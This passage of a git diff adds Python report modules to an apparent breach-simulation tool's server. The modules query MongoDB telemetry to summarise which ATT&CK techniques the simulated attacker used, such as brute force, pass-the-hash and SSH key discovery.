@@ -0,0 +1,51 @@
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
+
+
+__author__ = "VakarisZ"
+
+
+class T1021(AttackTechnique):
+ tech_id = "T1021"
+ unscanned_msg = "Monkey didn't try to login to any remote services."
+ scanned_msg = "Monkey tried to login to remote services with valid credentials, but failed."
+ used_msg = "Monkey successfully logged into remote services on the network."
+
+ # Gets data about brute force attempts
+ query = [{'$match': {'telem_category': 'exploit',
+ 'data.attempts': {'$not': {'$size': 0}}}},
+ {'$project': {'_id': 0,
+ 'machine': '$data.machine',
+ 'info': '$data.info',
+ 'attempt_cnt': {'$size': '$data.attempts'},
+ 'attempts': {'$filter': {'input': '$data.attempts',
+ 'as': 'attempt',
+ 'cond': {'$eq': ['$$attempt.result', True]}
+ }
+ }
+ }
+ }]
+
+ scanned_query = {'telem_category': 'exploit',
+ 'data.attempts': {'$elemMatch': {'result': True}}}
+
+ @staticmethod
+ def get_report_data():
+ attempts = []
+ if mongo.db.telemetry.count_documents(T1021.scanned_query):
+ attempts = list(mongo.db.telemetry.aggregate(T1021.query))
+ if attempts:
+ status = ScanStatus.USED.value
+ for result in attempts:
+ result['successful_creds'] = []
+ for attempt in result['attempts']:
+ result['successful_creds'].append(parse_creds(attempt))
+ else:
+ status = ScanStatus.SCANNED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data = T1021.get_base_data_by_status(status)
+ data.update({'services': attempts})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py
new file mode 100644
index 000000000..2750c953c
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py
@@ -0,0 +1,16 @@
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1035(UsageTechnique):
+ tech_id = "T1035"
+ unscanned_msg = "Monkey didn't try to interact with Windows services."
+ scanned_msg = "Monkey tried to interact with Windows services, but failed."
+ used_msg = "Monkey successfully interacted with Windows services."
+
+ @staticmethod
+ def get_report_data():
+ data = T1035.get_tech_base_data()
+ data.update({'services': T1035.get_usage_data()})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
new file mode 100644
index 000000000..1342b646e
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
@@ -0,0 +1,27 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.models.monkey import Monkey
+from common.utils.attack_utils import ScanStatus
+
+__author__ = "VakarisZ"
+
+
+class T1041(AttackTechnique):
+
+ tech_id = "T1041"
+ unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
+ scanned_msg = ""
+ used_msg = "Monkey exfiltrated info trough command and control channel."
+
+ @staticmethod
+ def get_report_data():
+ monkeys = list(Monkey.objects())
+ info = [{'src': monkey['command_control_channel']['src'],
+ 'dst': monkey['command_control_channel']['dst']}
+ for monkey in monkeys if monkey['command_control_channel']]
+ if info:
+ status = ScanStatus.USED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data = T1041.get_base_data_by_status(status)
+ data.update({'command_control_channel': info})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
new file mode 100644
index 000000000..ef15dd9fd
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -0,0 +1,34 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1059(AttackTechnique):
+
+ tech_id = "T1059"
+ unscanned_msg = "Monkey didn't exploit any machines to run commands at."
+ scanned_msg = ""
+ used_msg = "Monkey successfully ran commands on exploited machines in the network."
+
+ query = [{'$match': {'telem_category': 'exploit',
+ 'data.info.executed_cmds': {'$exists': True, '$ne': []}}},
+ {'$unwind': '$data.info.executed_cmds'},
+ {'$sort': {'data.info.executed_cmds.powershell': 1}},
+ {'$project': {'_id': 0,
+ 'machine': '$data.machine',
+ 'info': '$data.info'}},
+ {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}},
+ {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}]
+
+ @staticmethod
+ def get_report_data():
+ cmd_data = list(mongo.db.telemetry.aggregate(T1059.query))
+ data = {'title': T1059.technique_title(), 'cmds': cmd_data}
+ if cmd_data:
+ status = ScanStatus.USED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data.update(T1059.get_message_and_status(status))
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py
new file mode 100644
index 000000000..0b1b05489
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py
@@ -0,0 +1,18 @@
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1064(UsageTechnique):
+ tech_id = "T1064"
+ unscanned_msg = "Monkey didn't run scripts or tried to run and failed."
+ scanned_msg = ""
+ used_msg = "Monkey ran scripts on machines in the network."
+
+ @staticmethod
+ def get_report_data():
+ data = T1064.get_tech_base_data()
+ script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query()))
+ data.update({'scripts': script_usages})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
new file mode 100644
index 000000000..7d8ceb93e
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
@@ -0,0 +1,20 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.config import ConfigService
+
+__author__ = "VakarisZ"
+
+
+class T1065(AttackTechnique):
+
+ tech_id = "T1065"
+ unscanned_msg = ""
+ scanned_msg = ""
+ used_msg = ""
+ message = "Monkey used port %s to communicate to C2 server."
+
+ @staticmethod
+ def get_report_data():
+ port = ConfigService.get_config_value(['cnc', 'servers', 'current_server']).split(':')[1]
+ T1065.used_msg = T1065.message % port
+ return T1065.get_base_data_by_status(ScanStatus.USED.value)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
new file mode 100644
index 000000000..623d157ae
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
@@ -0,0 +1,44 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1075(AttackTechnique):
+
+ tech_id = "T1075"
+ unscanned_msg = "Monkey didn't try to use pass the hash attack."
+ scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."
+ used_msg = "Monkey successfully used hashed credentials."
+
+ login_attempt_query = {'data.attempts': {'$elemMatch': {'$or': [{'ntlm_hash': {'$ne': ''}},
+ {'lm_hash': {'$ne': ''}}]}}}
+
+ # Gets data about successful PTH logins
+ query = [{'$match': {'telem_category': 'exploit',
+ 'data.attempts': {'$not': {'$size': 0},
+ '$elemMatch': {'$and': [{'$or': [{'ntlm_hash': {'$ne': ''}},
+ {'lm_hash': {'$ne': ''}}]},
+ {'result': True}]}}}},
+ {'$project': {'_id': 0,
+ 'machine': '$data.machine',
+ 'info': '$data.info',
+ 'attempt_cnt': {'$size': '$data.attempts'},
+ 'attempts': {'$filter': {'input': '$data.attempts',
+ 'as': 'attempt',
+ 'cond': {'$eq': ['$$attempt.result', True]}}}}}]
+
+ @staticmethod
+ def get_report_data():
+ data = {'title': T1075.technique_title()}
+ successful_logins = list(mongo.db.telemetry.aggregate(T1075.query))
+ data.update({'successful_logins': successful_logins})
+ if successful_logins:
+ status = ScanStatus.USED.value
+ elif mongo.db.telemetry.count_documents(T1075.login_attempt_query):
+ status = ScanStatus.SCANNED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data.update(T1075.get_message_and_status(status))
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
new file mode 100644
index 000000000..bc2645bb9
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
@@ -0,0 +1,49 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1082(AttackTechnique):
+
+ tech_id = "T1082"
+ unscanned_msg = "Monkey didn't gather any system info on the network."
+ scanned_msg = ""
+ used_msg = "Monkey gathered system info from machines in the network."
+
+ query = [{'$match': {'telem_category': 'system_info'}},
+ {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
+ 'aws': '$data.aws',
+ 'netstat': '$data.network_info.netstat',
+ 'process_list': '$data.process_list',
+ 'ssh_info': '$data.ssh_info',
+ 'azure_info': '$data.Azure'}},
+ {'$project': {'_id': 0,
+ 'machine': 1,
+ 'collections': [
+ {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]},
+ 'name': {'$literal': 'Amazon Web Services info'}},
+ {'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]},
+ 'name': {'$literal': 'Running process list'}},
+ {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]},
+ 'name': {'$literal': 'Network connections'}},
+ {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]},
+ 'name': {'$literal': 'SSH info'}},
+ {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
+ 'name': {'$literal': 'Azure info'}}
+ ]}},
+ {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}},
+ {"$replaceRoot": {"newRoot": "$_id"}}]
+
+ @staticmethod
+ def get_report_data():
+ data = {'title': T1082.technique_title()}
+ system_info = list(mongo.db.telemetry.aggregate(T1082.query))
+ data.update({'system_info': system_info})
+ if system_info:
+ status = ScanStatus.USED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data.update(T1082.get_message_and_status(status))
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
new file mode 100644
index 000000000..dd5d64d25
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
@@ -0,0 +1,36 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1086(AttackTechnique):
+
+ tech_id = "T1086"
+ unscanned_msg = "Monkey didn't run powershell."
+ scanned_msg = ""
+ used_msg = "Monkey successfully ran powershell commands on exploited machines in the network."
+
+ query = [{'$match': {'telem_category': 'exploit',
+ 'data.info.executed_cmds': {'$elemMatch': {'powershell': True}}}},
+ {'$project': {'machine': '$data.machine',
+ 'info': '$data.info'}},
+ {'$project': {'_id': 0,
+ 'machine': 1,
+ 'info.finished': 1,
+ 'info.executed_cmds': {'$filter': {'input': '$info.executed_cmds',
+ 'as': 'command',
+ 'cond': {'$eq': ['$$command.powershell', True]}}}}},
+ {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}]
+
+ @staticmethod
+ def get_report_data():
+ cmd_data = list(mongo.db.telemetry.aggregate(T1086.query))
+ data = {'title': T1086.technique_title(), 'cmds': cmd_data}
+ if cmd_data:
+ status = ScanStatus.USED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data.update(T1086.get_message_and_status(status))
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
new file mode 100644
index 000000000..7a6c830b8
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
@@ -0,0 +1,24 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.models import Monkey
+
+__author__ = "VakarisZ"
+
+
+class T1090(AttackTechnique):
+
+ tech_id = "T1090"
+ unscanned_msg = "Monkey didn't use connection proxy."
+ scanned_msg = ""
+ used_msg = "Monkey used connection proxy to communicate with machines on the network."
+
+ @staticmethod
+ def get_report_data():
+ monkeys = Monkey.get_tunneled_monkeys()
+ monkeys = [monkey.get_network_info() for monkey in monkeys]
+ status = ScanStatus.USED.value if monkeys else ScanStatus.UNSCANNED.value
+ data = T1090.get_base_data_by_status(status)
+ data.update({'proxies': monkeys})
+ return data
+
+
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
new file mode 100644
index 000000000..3d95fd88d
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
@@ -0,0 +1,27 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1105(AttackTechnique):
+
+ tech_id = "T1105"
+ unscanned_msg = "Monkey didn't try to copy files to any systems."
+ scanned_msg = "Monkey tried to copy files, but failed."
+ used_msg = "Monkey successfully copied files to systems on the network."
+
+ query = [{'$match': {'telem_category': 'attack',
+ 'data.technique': tech_id}},
+ {'$project': {'_id': 0,
+ 'src': '$data.src',
+ 'dst': '$data.dst',
+ 'filename': '$data.filename'}},
+ {'$group': {'_id': {'src': '$src', 'dst': '$dst', 'filename': '$filename'}}},
+ {"$replaceRoot": {"newRoot": "$_id"}}]
+
+ @staticmethod
+ def get_report_data():
+ data = T1105.get_tech_base_data()
+ data.update({'files': list(mongo.db.telemetry.aggregate(T1105.query))})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py
new file mode 100644
index 000000000..d07a66038
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py
@@ -0,0 +1,16 @@
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1106(UsageTechnique):
+ tech_id = "T1106"
+ unscanned_msg = "Monkey didn't try to directly use WinAPI."
+ scanned_msg = "Monkey tried to use WinAPI, but failed."
+ used_msg = "Monkey successfully used WinAPI."
+
+ @staticmethod
+ def get_report_data():
+ data = T1106.get_tech_base_data()
+ data.update({'api_uses': T1106.get_usage_data()})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py
new file mode 100644
index 000000000..9448c2e6b
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py
@@ -0,0 +1,32 @@
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1107(AttackTechnique):
+ tech_id = "T1107"
+ unscanned_msg = ""
+ scanned_msg = "Monkey tried to delete files on systems in the network, but failed."
+ used_msg = "Monkey successfully deleted files on systems in the network."
+
+ query = [{'$match': {'telem_category': 'attack',
+ 'data.technique': 'T1107'}},
+ {'$lookup': {'from': 'monkey',
+ 'localField': 'monkey_guid',
+ 'foreignField': 'guid',
+ 'as': 'monkey'}},
+ {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
+ 'status': '$data.status',
+ 'path': '$data.path'}},
+ {'$addFields': {'_id': 0,
+ 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
+ 'monkey': 0}},
+ {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'path': '$path'}}}]
+
+ @staticmethod
+ def get_report_data():
+ data = T1107.get_tech_base_data()
+ deleted_files = list(mongo.db.telemetry.aggregate(T1107.query))
+ data.update({'deleted_files': deleted_files})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
new file mode 100644
index 000000000..72bb0af76
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
@@ -0,0 +1,50 @@
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
+
+__author__ = "VakarisZ"
+
+
+class T1110(AttackTechnique):
+ tech_id = "T1110"
+ unscanned_msg = "Monkey didn't try to brute force any services."
+ scanned_msg = "Monkey tried to brute force some services, but failed."
+ used_msg = "Monkey successfully used brute force in the network."
+
+ # Gets data about brute force attempts
+ query = [{'$match': {'telem_category': 'exploit',
+ 'data.attempts': {'$not': {'$size': 0}}}},
+ {'$project': {'_id': 0,
+ 'machine': '$data.machine',
+ 'info': '$data.info',
+ 'attempt_cnt': {'$size': '$data.attempts'},
+ 'attempts': {'$filter': {'input': '$data.attempts',
+ 'as': 'attempt',
+ 'cond': {'$eq': ['$$attempt.result', True]}}}}}]
+
+ @staticmethod
+ def get_report_data():
+ attempts = list(mongo.db.telemetry.aggregate(T1110.query))
+ succeeded = False
+
+ for result in attempts:
+ result['successful_creds'] = []
+ for attempt in result['attempts']:
+ succeeded = True
+ result['successful_creds'].append(parse_creds(attempt))
+
+ if succeeded:
+ status = ScanStatus.USED.value
+ elif attempts:
+ status = ScanStatus.SCANNED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data = T1110.get_base_data_by_status(status)
+ # Remove data with no successful brute force attempts
+ attempts = [attempt for attempt in attempts if attempt['attempts']]
+
+ data.update({'services': attempts})
+ return data
+
+
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py
new file mode 100644
index 000000000..5f87faabb
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py
@@ -0,0 +1,16 @@
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1129(UsageTechnique):
+ tech_id = "T1129"
+ unscanned_msg = "Monkey didn't try to load any DLL's."
+ scanned_msg = "Monkey tried to load DLL's, but failed."
+ used_msg = "Monkey successfully loaded DLL's using Windows module loader."
+
+ @staticmethod
+ def get_report_data():
+ data = T1129.get_tech_base_data()
+ data.update({'dlls': T1129.get_usage_data()})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
new file mode 100644
index 000000000..c4e5691ff
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
@@ -0,0 +1,31 @@
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+
+__author__ = "VakarisZ"
+
+
+class T1145(AttackTechnique):
+ tech_id = "T1145"
+ unscanned_msg = "Monkey didn't find any shh keys."
+ scanned_msg = ""
+ used_msg = "Monkey found ssh keys on machines in the network."
+
+ # Gets data about ssh keys found
+ query = [{'$match': {'telem_category': 'system_info',
+ 'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}},
+ {'$project': {'_id': 0,
+ 'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
+ 'ssh_info': '$data.ssh_info'}}]
+
+ @staticmethod
+ def get_report_data():
+ ssh_info = list(mongo.db.telemetry.aggregate(T1145.query))
+
+ if ssh_info:
+ status = ScanStatus.USED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data = T1145.get_base_data_by_status(status)
+ data.update({'ssh_info': ssh_info})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
new file mode 100644
index 000000000..32187696a
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
@@ -0,0 +1,32 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.models.monkey import Monkey
+from common.utils.attack_utils import ScanStatus
+
+__author__ = "VakarisZ"
+
+
+class T1188(AttackTechnique):
+
+ tech_id = "T1188"
+ unscanned_msg = "Monkey didn't use multi-hop proxy."
+ scanned_msg = ""
+ used_msg = "Monkey used multi-hop proxy."
+
+ @staticmethod
+ def get_report_data():
+ monkeys = Monkey.get_tunneled_monkeys()
+ hops = []
+ for monkey in monkeys:
+ proxy_count = 0
+ proxy = initial = monkey
+ while proxy.tunnel:
+ proxy_count += 1
+ proxy = proxy.tunnel
+ if proxy_count > 1:
+ hops.append({'from': initial.get_network_info(),
+ 'to': proxy.get_network_info(),
+ 'count': proxy_count})
+ status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value
+ data = T1188.get_base_data_by_status(status)
+ data.update({'hops': hops})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py
new file mode 100644
index 000000000..b6bd316af
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py
@@ -0,0 +1,27 @@
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1197(AttackTechnique):
+ tech_id = "T1197"
+ unscanned_msg = "Monkey didn't try to use any bits jobs."
+ scanned_msg = "Monkey tried to use bits jobs but failed."
+ used_msg = "Monkey successfully used bits jobs at least once in the network."
+
+ @staticmethod
+ def get_report_data():
+ data = T1197.get_tech_base_data()
+ bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'attack',
+ 'data.technique': T1197.tech_id}},
+ {'$group': {'_id': {'ip_addr': '$data.machine.ip_addr',
+ 'usage': '$data.usage'},
+ 'ip_addr': {'$first': '$data.machine.ip_addr'},
+ 'domain_name': {'$first': '$data.machine.domain_name'},
+ 'usage': {'$first': '$data.usage'},
+ 'time': {'$first': '$timestamp'}}
+ }])
+ bits_results = list(bits_results)
+ data.update({'bits_jobs': bits_results})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
new file mode 100644
index 000000000..eeae183f5
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
@@ -0,0 +1,48 @@
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1210(AttackTechnique):
+
+ tech_id = "T1210"
+ unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
+ scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."
+ used_msg = "Monkey scanned for remote services and exploited some on the network."
+
+ @staticmethod
+ def get_report_data():
+ data = {'title': T1210.technique_title()}
+ scanned_services = T1210.get_scanned_services()
+ exploited_services = T1210.get_exploited_services()
+ if exploited_services:
+ status = ScanStatus.USED.value
+ elif scanned_services:
+ status = ScanStatus.SCANNED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data.update(T1210.get_message_and_status(status))
+ data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
+ return data
+
+ @staticmethod
+ def get_scanned_services():
+ results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}},
+ {'$sort': {'data.service_count': -1}},
+ {'$group': {
+ '_id': {'ip_addr': '$data.machine.ip_addr'},
+ 'machine': {'$first': '$data.machine'},
+ 'time': {'$first': '$timestamp'}}}])
+ return list(results)
+
+ @staticmethod
+ def get_exploited_services():
+ results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'exploit', 'data.result': True}},
+ {'$group': {
+ '_id': {'ip_addr': '$data.machine.ip_addr'},
+ 'service': {'$first': '$data.info'},
+ 'machine': {'$first': '$data.machine'},
+ 'time': {'$first': '$timestamp'}}}])
+ return list(results)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py
new file mode 100644
index 000000000..940c9e8ea
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py
@@ -0,0 +1,24 @@
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1222(AttackTechnique):
+ tech_id = "T1222"
+ unscanned_msg = "Monkey didn't try to change any file permissions."
+ scanned_msg = "Monkey tried to change file permissions, but failed."
+ used_msg = "Monkey successfully changed file permissions in network systems."
+
+ query = [{'$match': {'telem_category': 'attack',
+ 'data.technique': 'T1222',
+ 'data.status': ScanStatus.USED.value}},
+ {'$group': {'_id': {'machine': '$data.machine', 'status': '$data.status', 'command': '$data.command'}}},
+ {"$replaceRoot": {"newRoot": "$_id"}}]
+
+ @staticmethod
+ def get_report_data():
+ data = T1222.get_tech_base_data()
+ data.update({'commands': list(mongo.db.telemetry.aggregate(T1222.query))})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
new file mode 100644
index 000000000..e164e8830
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
@@ -0,0 +1,117 @@
+import abc
+import logging
+
+from monkey_island.cc.database import mongo
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.attack.attack_config import AttackConfig
+from common.utils.code_utils import abstractstatic
+
+logger = logging.getLogger(__name__)
+
+
+class AttackTechnique(object):
+ """ Abstract class for ATT&CK report components """
+ __metaclass__ = abc.ABCMeta
+
+ @abc.abstractproperty
+ def unscanned_msg(self):
+ """
+ :return: Message that will be displayed in case attack technique was not scanned.
+ """
+ pass
+
+ @abc.abstractproperty
+ def scanned_msg(self):
+ """
+ :return: Message that will be displayed in case attack technique was scanned.
+ """
+ pass
+
+ @abc.abstractproperty
+ def used_msg(self):
+ """
+ :return: Message that will be displayed in case attack technique was used by the scanner.
+ """
+ pass
+
+ @abc.abstractproperty
+ def tech_id(self):
+ """
+ :return: Message that will be displayed in case of attack technique not being scanned.
+ """
+ pass
+
+ @staticmethod
+ @abstractstatic
+ def get_report_data():
+ """
+ :return: Report data aggregated from the database.
+ """
+ pass
+
+ @classmethod
+ def technique_status(cls):
+ """
+ Gets the status of a certain attack technique.
+ :return: ScanStatus numeric value
+ """
+ if mongo.db.telemetry.find_one({'telem_category': 'attack',
+ 'data.status': ScanStatus.USED.value,
+ 'data.technique': cls.tech_id}):
+ return ScanStatus.USED.value
+ elif mongo.db.telemetry.find_one({'telem_category': 'attack',
+ 'data.status': ScanStatus.SCANNED.value,
+ 'data.technique': cls.tech_id}):
+ return ScanStatus.SCANNED.value
+ else:
+ return ScanStatus.UNSCANNED.value
+
+ @classmethod
+ def get_message_and_status(cls, status):
+ """
+ Returns a dict with attack technique's message and status.
+ :param status: Enum from common/attack_utils.py integer value
+ :return: Dict with message and status
+ """
+ return {'message': cls.get_message_by_status(status), 'status': status}
+
+ @classmethod
+ def get_message_by_status(cls, status):
+ """
+ Picks a message to return based on status.
+ :param status: Enum from common/attack_utils.py integer value
+ :return: message string
+ """
+ if status == ScanStatus.UNSCANNED.value:
+ return cls.unscanned_msg
+ elif status == ScanStatus.SCANNED.value:
+ return cls.scanned_msg
+ else:
+ return cls.used_msg
+
+ @classmethod
+ def technique_title(cls):
+ """
+ :return: techniques title. E.g. "T1110 Brute force"
+ """
+ return AttackConfig.get_technique(cls.tech_id)['title']
+
+ @classmethod
+ def get_tech_base_data(cls):
+ """
+ Gathers basic attack technique data into a dict.
+ :return: dict E.g. {'message': 'Brute force used', 'status': 2, 'title': 'T1110 Brute force'}
+ """
+ data = {}
+ status = cls.technique_status()
+ title = cls.technique_title()
+ data.update({'status': status,
+ 'title': title,
+ 'message': cls.get_message_by_status(status)})
+ return data
+
+ @classmethod
+ def get_base_data_by_status(cls, status):
+ data = cls.get_message_and_status(status)
+ data.update({'title': cls.technique_title()})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
new file mode 100644
index 000000000..05cef3684
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
@@ -0,0 +1,46 @@
+from monkey_island.cc.encryptor import encryptor
+
+
+def parse_creds(attempt):
+ """
+ Parses used credentials into a string
+ :param attempt: login attempt from database
+ :return: string with username and used password/hash
+ """
+ username = attempt['user']
+ creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])},
+ 'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)},
+ 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
+ 'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}}
+ for key, cred in creds.items():
+ if attempt[key]:
